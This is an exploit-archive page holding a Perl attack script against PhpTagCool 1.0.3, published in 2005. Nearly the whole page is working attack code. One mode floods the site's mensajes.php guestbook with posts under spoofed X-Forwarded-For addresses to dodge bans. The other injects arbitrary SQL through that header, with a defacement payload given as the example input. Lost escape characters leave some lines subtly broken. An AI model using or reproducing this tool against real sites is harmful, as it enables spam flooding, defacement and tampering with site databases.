[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PhpTagCool <= 1.0.3 SQL Injection Attacks Exploit
# Published : 2005-09-11
# Author : Megabyte
# Previous Title : AzDGDatingLite <= 2.1.3 Remote Code Execution Exploit
# Next Title : Class-1 Forum <= 0.24.4 Remote Code Execution Exploit
#!/usr/bin/perl
## PhpTagCool Zatueritor 1.0
## Copyright: Megabyte www.mbytesecurity.org
## Greetz: Rootbox for discovering the forwarded-for issue
## Te amo Pandora
## Crashcool,fuiste defaceado por un bug de tu propia programacion,ahora que inventaras?
use IO::Socket;
$x = 0;
print q(
PhpTagCool Zatueritor 1.0
by Megabyte
);
print q(Host |sin http://www.| );
$host = <STDIN>;
chop ($host);
print q(Ruta |ejemplo. /phptagcool/ o /| );
$pth = <STDIN>;
chop ($pth);
print q(Tipo de Atake |1 = Posteo Masivo, 2 = Injeccion SQL| );
$type = <STDIN>;
chop ($type);
## The Flood Attack
if($type == 1){
while($x != 255)
{
$nick = "nick=megabyte";
## We generate our own ip address so we won't be banned :)
$ip = "127.0.0" . "$x";
$postit = "$nick"."&url=http%3A%2F%2Fwww.mbytesecurity.org&mensaje=FloodingLam
eTag&Submit=Enviar";
$lrg = length $postit;
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "nNo se pudo conectar :( $!n" unless $sock;
## We Fake the X-Forwarded-For header,so we can post with multiple ip's
print $sock "POST $pth"."mensajes.php HTTP/1.1n";
print $sock "Host: $hostn";
print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwav
e-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*n";
print $sock "Referer: $hostn";
print $sock "Accept-Language: en-usn";
print $sock "Content-Type: application/x-www-form-urlencodedn";
print $sock "Accept-Encoding: gzip, deflaten";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox
/1.0.4n";
print $sock "X-Forwarded-For: $ipn";
print $sock "Connection: Keep-Aliven";
print $sock "Cache-Control: no-cachen";
print $sock "Content-Length: $lrgnn";
print $sock "$postitn";
close($sock);
syswrite STDOUT, ".";
$x++;
}
## The SQL injection attack :)
}
elsif ($type == 2){
print q(Inyeccion a ejecutar Ejemplo 127.0.0.1'),('<h1>owned</h1>','http://mbytesecurity.
org','leim','hoy','11 );
$sql = <STDIN>;
chop ($sql);
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);
die "nNo se pudo conectar :( $!n" unless $sock;
print $sock "POST $pth"."mensajes.php HTTP/1.1n";
print $sock "Host: $hostn";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q
=0.8,image/png,*/*;q=0.5n";
print $sock "Referer: $hostn";
print $sock "Accept-Language: en-usn";
print $sock "Content-Type: application/x-www-form-urlencodedn";
print $sock "Accept-Encoding: gzip, deflaten";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox
/1.0.4n";
print $sock "Connection: Keep-Aliven";
print $sock "Cache-Control: no-cachen";
print $sock "Content-Length: $lrgnn";
print $sock "X-Forwarded-For: $sqln";
close($sock);
}else{
die "Solo hay 2 opciones IMBECILn";
}
# www.Syue.com [2005-09-11]